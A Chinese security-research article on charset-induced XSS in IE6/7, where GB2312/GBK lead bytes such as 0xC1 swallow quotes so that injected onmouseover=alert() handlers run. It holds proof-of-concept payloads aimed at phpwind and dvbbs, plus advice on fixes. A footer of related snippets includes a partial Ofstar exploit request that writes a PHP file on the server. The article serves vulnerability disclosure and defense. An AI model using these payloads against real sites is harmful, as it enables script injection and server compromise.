字符集导致的浏览器跨站脚本攻击分析_漏洞研究

|=———————————————————————————————–=|
|=—————–=[ 字符集导致的浏览器跨站脚本攻击 ]=—————–=|
|=———————————————————————————————–=|
|=————————————-=[ By jianxin ]=————————————=|
|=——————————-=[ jianxin@80sec.com ]=—————————-=|
|=————————————————————————————————=|

文中<已经被替换为〈,如果需要文档,请访问http://www.80sec.com/release/charset-xss.txt

在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏 览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛,但是经证明,IE在处理这些宽字符集的时候存在问题,导致可能程序的一些安全 规则被Bypass掉,引发严重的跨站脚本安全漏洞。在IE里,如果它遇到一个字符,它是指定字符集里的第一位的时候,就会认为其后续字符和当前字符构成 一个合法的字符,这样它在解析包括html标签,处理javascript,Css时都会做如此考虑,测试版本为ie6和ie7。

1 Bypass某些js的检查规则

〈HTML>
〈HEAD>
〈TITLE>80sec test〈/TITLE>
〈meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
〈/HEAD>
〈BODY>
〈script>
window.onerror=function(){
alert('Vul');
return true;
}
〈/script>
〈script>x='〈?php echo chr(0xC1);?>';y='[User_IN_PUT]‘;〈/script>
〈/BODY>
〈/HTML>
这里即使是过滤了〈>'\等字符一样可以利用非法字符集序列来实现\的作用,因为它会把原来存在的'给结合掉,然后前面的'找不到闭合,后面[User_IN_PUT]就可以用来执行js代码了。

2 Bypass某些属性的检查规则

为了避免直接使用html导致出现漏洞,一些论坛和程序使用了UBB标签,但是在gbk等多字节编码下,一样容易出现问题,以最容易出现问题的一个UBB标签为例子:

[color=xyz〈?php echo chr(0xC1);?>][/color][color=abc onmouseover=alert(/xss/) s=〈?php echo chr(0xC1);?>]exploited[/color]
0xC1是一个gb2312的第一个字节,上面结果将会转化为:

〈font color="xyz?>〈/font>〈font color="abc onmouseover=alert(/xss/) s=?>exploited〈/font>
其中的alert(/xss/)将会做一个事件执行,所以即使UBB标签也变得不安全,能饶过”的保护。许多论坛都没有注意这点,phpwind,动网等 论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格,修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里 面,因为有的数据库会抛弃与指定字符集不匹配的字符,所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里,当然像ACCESS这种就不会 有问题了,另外一些语言在处理字符串的时候会强制字符串的字符集类型,不合法的字符会导致转码的失败或者遭到抛弃,所以也不能利用这种类型的攻击。

3 几个小例子

Phpwind论坛charset跨站脚本漏洞

[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]Fuck Me[/email]
[font=宋体;0xc1]xxx[/font][url=http://onmouseover=alert()//]xx[/url]
羃是一个特殊的十六进制编码和后面的]结合出来的字符,第一个种方法可以直接复制的:)
0xc1表示一个十六进制的字符编码

同样在dvbbs论坛也很容易产生一个xss代码如下

〈font face="微软雅羃>xxxxxxxxxxx〈/font>〈font face=" onmouseover=alert() x=羃>xxxxxxxxxxx〈/font>
均在新版和老版测试通过。

4 关于修复

对于程序设计者,由于UTF-8字符集的可靠性,不存在这个安全漏洞,所以大家在设计站点的时候可以考虑使用UTF-8字符集。
对于广大开发者,可以牢记最小输入等于最大安全的原则,在匹配正则的时候限制输入的字符的范围,尽量匹配ascii字符,如果必须使用中文,可以考虑类似于discuz的在中文后面添加空格修复该问题。
对于广大用户,这个漏洞由于浏览器处理页面字符的不同,可以考虑使用如Firefox浏览器,可以避免一部分这样的问题。

本站内容均为原创,转载请务必保留署名与链接!
字符集导致的浏览器跨站脚本攻击:http://www.80sec.com/charset-xss.html

时间: 2024-10-07 12:11:59

字符集导致的浏览器跨站脚本攻击分析_漏洞研究的相关文章

针对蓝牙PIN码的最新攻击技术细节分析_漏洞研究

注:本文章只是讲解决针对蓝牙PIN码的最新攻击技术,以提醒大家注意防范,并没有其它目的.任何人不得使用本文中所介绍的技术做非法的事. 最近,国内外多家网站纷纷刊登了一则关于针对蓝牙PIN码的最新攻击技术的新闻:通过强制两个正在通讯的蓝牙设备进行重新配对,并监听配对信息,攻击者可以在0.063秒内破解一个4位(十进制)的PIN码.今年6月上旬举办的世界无线技术会议也详细讨论了该攻击方法,securityfocus 甚至说"这种新的攻击技术令很多关注无线技术的信息安全专家非常的震惊,因为以前关于攻击

典型入侵日志分析_漏洞研究

1.FTP日志分析  FTP日志和WWW日志在默认情况下,每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年份)(月份)(日期).例如ex040419,就是2004年4月19日产生的日志,用记事本可直接打开,普通的有入侵行为的日志一般是这样的:   #Software: Microsoft Internet Information Services 5.0(微软IIS5.0)   #Version: 1.0 (版本1.0)   #Date: 20040419 0315 (服务启动时

安全技术—RSA公钥密码体制安全性分析_漏洞研究

 引言   RSA密码系统是较早提出的一种公开钥密码系统.1978年,美国麻省理工学院(MIT)的Rivest,Shamir和Adleman在题为<获得数字签名和公开钥密码系统的方法>的论文中提出了基于数论的非对称(公开钥)密码体制,称为RSA密码体制.RSA是建立在"大整数的素因子分解是困难问题"基础上的,是一种分组密码体制.   介绍公钥密码体制(背景)   1.对称密码体制   对称密码体制是一种传统密码体制,也称为私钥密码体制.在对称加密系统中,加密和解密采

挂马代码 网页挂马分析_漏洞研究

如今网民上网可算是提心吊胆,面对病毒,也许杀毒软件还能防止一二,但如果遇到网页中挂马行为,甚至直接将用户当前机所安装的杀毒软件直接强行关闭,那么其后果是不言而喻的.如今的网页有马行为也不像以前那么单一,甚至不出现下载提示,直接从后台开始下载运行其马,然后秘密的收集用户信息并返溃到恶意者手中.     网马危害     如果一台正常的网络服务器被恶意用户入侵,其网页被挂马,在一定程度上可以说是网页被篡改,其危害是巨大的,随着用户访问流量的增多,会造成此马的传播性越发增大,由于其隐蔽性比较强,导至很

游戏外挂分析_漏洞研究

我主要对外挂的技术进行分析,至于游戏里面的内部结构每个都不一样,这里就不做讲解了,我也没有那么厉害,所有的都知道,呵呵!  1 首先游戏外挂的原理  外挂现在分为好多种,比如模拟键盘的,鼠标的,修改数据包的,还有修改本地内存的,但好像没有修改服务器内存的哦,呵呵!其实修改服务器也是有办法的,只是技术太高一般人没有办法入手而已!(比如请GM去夜总会,送礼,收黑钱等等办法都可以修改服务器数据,哈哈)    修改游戏无非是修改一下本地内存的数据,或者截获api函数等等,这里我把所能想到的方法都作一个介

Ofsatr 2.6搜索漏洞的简单分析_漏洞研究

看到网上有类似的工具,但分析的文章却没找到,听小黑说黑客手册上有,可惜偶没有杂志,所以就抓包然后看下代码,大致分析了一下.这个漏洞很巧妙.也很经典 :)    GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop   en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).c

域名劫持---163.net被黑的分析_漏洞研究

前段时间,163.net被黑,在业界搞的沸沸腾腾.其实,这不是他的错.错误在于Internic .以下内容部分编译自   packetstorm.   163被黑的技术称为域名劫持(hijacked),技术上很简单,关键在于发一份用域名注册者email地址的确认信..我们知   道:要进行域名变更,只需到www.networksolutions.com上进行.   比如我们要劫持163.net的,具体步骤如下:   1.打开浏览器,输入http://www.networksolutions.co

当备份数据库不能用时.用邮件列表得到WEBSHELL!(图)_漏洞研究

今天上午闲着无聊,刚好一个朋友发过来一个网站的后台管理密码.他要我帮他看看.我说你得到后台了.可以用备份数据库功能得到WEBSHELL啊.你还发过来干嘛.他说后台有数据备份的选项.但是不能用.大家看一下图!  列表得到WEBSHELL!(图)_漏洞研究-数据库备份拿shell">  里面有备份的选项.但是点了之后出现错误!应该是管理员把文件改名了.或者是位置改变了.不能备份数据库,那怎么办,不能白白的浪费这样的一个机会.我就在后台里面到处看了一下.发现可以通过改网站注册用户的邮件地址.我们

UBB的跨站脚本攻击的漏洞_漏洞研究

近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点 什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较"盲"一些,岂不乱套了?  小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点比